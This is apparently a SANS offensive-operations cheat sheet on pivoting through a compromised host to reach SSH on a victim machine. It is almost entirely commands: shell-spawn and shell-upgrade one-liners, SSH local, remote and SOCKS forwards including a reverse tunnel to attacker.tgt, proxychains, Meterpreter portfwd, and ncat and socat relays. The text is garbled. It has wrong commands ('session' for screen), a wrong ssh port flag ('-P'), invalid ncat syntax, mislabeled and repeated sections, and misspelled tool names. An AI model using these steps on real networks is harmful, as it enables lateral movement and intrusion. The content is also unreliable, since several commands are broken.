Pivoting Cheat Sheet v1.1
sans.org/offensive-operations

Navigating a client/victim environment often requires pivoting from target to target, and there are many ways to do so. This cheat sheet runs through various options for different environments and situations.

**Purpose**
Finding a method that may fit your situation. In each, we model an attacker pivoting through pivot to reach SSH on victim. Substitute hosts and ports to fit your need.

Pay attention to prompts as they will identify the host where the command should be run AND what type of prompt, i.e. Windows cmd.exe (c:\>), PowerShell (PS), or Linux ($ or #). The diagram in the center should help.

Replace terms like victimAdmin and victimPass with appropriate credentials for the given system.

On the back, there are some extra goodies - like how to upgrade an ugly Netcat shell to something that feels more like a real Bash session.

Have fun, good luck, and pivot mercilessly!

---

**How to Use this Sheet**

- **Python Shell (pick one!):**
  ```python
  python -c 'import pty;
  pty.spawn("/bin/bash")'
  ```

- **Ruby Shell (pick one!):**
  ```ruby
  ruby -e 'exec "/bin/sh"'
  ```

- **Extra Goodies:**
  - Upgrade Ugly Shells (pick one!)
    - Things seem off? Sometimes this can return functionality like arrow keys in a shell.
    - ```bash
        victim $ <Ctrl>z
        attacker $ stty raw -echo
        attacker $ fg
        victim $ reset
        victim $ export SHELL=bash
        victim $ export TERM=xterm-256color
        victim $ stty rows 40 columns 80
      ```
    - Further Upgrade Ugly Shells
    - ```bash
        victim $ session -S hackinz
        - Session fails
        - Regain session, THEN:
        victim $ session -r hackinz
      ```
    - Want more functionality than screen? Check out tmux.
    - Is your connection not stable enough for ssh? mosh is more forgiving of spotty connections.
    - Manage Many SSH Connections
      - Check out ProxyJump and .ssh/config to manage a wide array of ssh connections.

---

**Maintain State with Screen**

```
victim $ session -S hackinz
- Session fails
- Regain session, THEN:
victim $ session -r hackinz
```

Want more functionality than screen? Check out tmux.
Is your connection not stable enough for ssh? mosh is more forgiving of spotty connections.

---

**Don’t Forget the Easy Stuff!**

- **SSH trail through Linux:**
  ```bash
  attacker $ ssh
  pivotAdmin@pivot.tgt
  pivot $ ssh
  victimAdmin@victim.tgt
  ```

- **PowerShell sessions through Windows:**
  ```bash
  attacker PS C:\> Enter-PsSession -ComputerName pivot.tgt
  Or RDP session over Windows:
  attacker c:\> mstsc.exe /v:Pivot.tgt
  psexec.exe
  Now, with command execution on pivot:
  pivot C:\> ssh
  victimadmin@victim.tgt
  No SSH available? How about PuTTY?
  ```

- **Note:** Even if all the hosts in the chain run Windows, you can’t typically PsSession twice because of how credentials are used. Run a search for pssession double hop for more info.
**SSH Pivots Require an sshd Setting**

Set `GatewayPorts yes` in `/etc/ssh/sshd_config`, then:

```
pivot # systemctl restart sshd
```

**SSH Local Port Forward**

```
attacker $ ssh -fNL 1337:victim.tgt:22
pivoter@pivot.tgt
attacker $ ssh
victimadmin@localhost -P 1337
```

**SSH Remote Port Forward**

```
pivot $ ssh -fNR 1337:victim.tgt:22
attacker@attacker.tgt
attacker $ ssh
victimadmin@localhost -P 1337
```

**Proxychains**

```
attacker $ ssh
pivotadmin@pivot.tgt -D 9050 -fN
attacker $ proxychains ssh
victimadmin@victim.tgt
```

And check `/etc/proxychains.conf`

**Some SSH Command Line Options**

- `f` put ssh in the background after connecting
- `N` don’t execute a command; just forward some ports
- `P num` use “num” port for ssh

**Situation**

You need to access SSH on port 22 of `victim`, but you can’t go directly due to those meddling firewalls. For simplicity, this sheet will generally be using ports 1337, 4000, and 22 on the Attacker, Pivot, and Victim machines.

**SSH Local Port Forward**

```
attacker $ ssh -fNL 1337:victim.tgt:22
pivoter@pivot.tgt
attacker $ ssh
victimadmin@localhost -P 1337
```

**SSH Remote Port Forward**

```
pivot $ ssh -fNR 1337:victim.tgt:22
attacker@attacker.tgt
attacker $ ssh
victimadmin@localhost -P 1337
```

**Proxychains**

```
attacker $ ssh
pivotadmin@pivot.tgt -D 9050 -fN
attacker $ proxychains ssh
victimadmin@victim.tgt
```

And check `/etc/proxychains.conf`

**Some SSH Command Line Options**

- `f` put ssh in the background after connecting
- `N` don’t execute a command; just forward some ports
- `P num` use “num” port for ssh

**Metasplint/Meterprete Autoroute**

```
pivot Meterpreter > portfwd
add -l 4000 -p 22 -r victim.tgt
attacker $ ssh
victimadmin@pivot.tgt -P 4000
```

**Ncat Connection Brokering**

```
pivot $ nc -lvp 4000 --broker
TCP:victim.tgt:22
attacker $ ssh
victimadmin@pivot.tgt -P 4000
```

**Ncat Connection Brokering**

```
pivot $ socat TCP-LISTEN:4000,fork
TCP:victim.tgt:22
attacker $ ssh
victimadmin@pivot.tgt -P 4000
```

**Some SSH Command Line Options**

- `f` put ssh in the background after connecting
- `N` don’t execute a command; just forward some ports
- `P num` use “num” port for ssh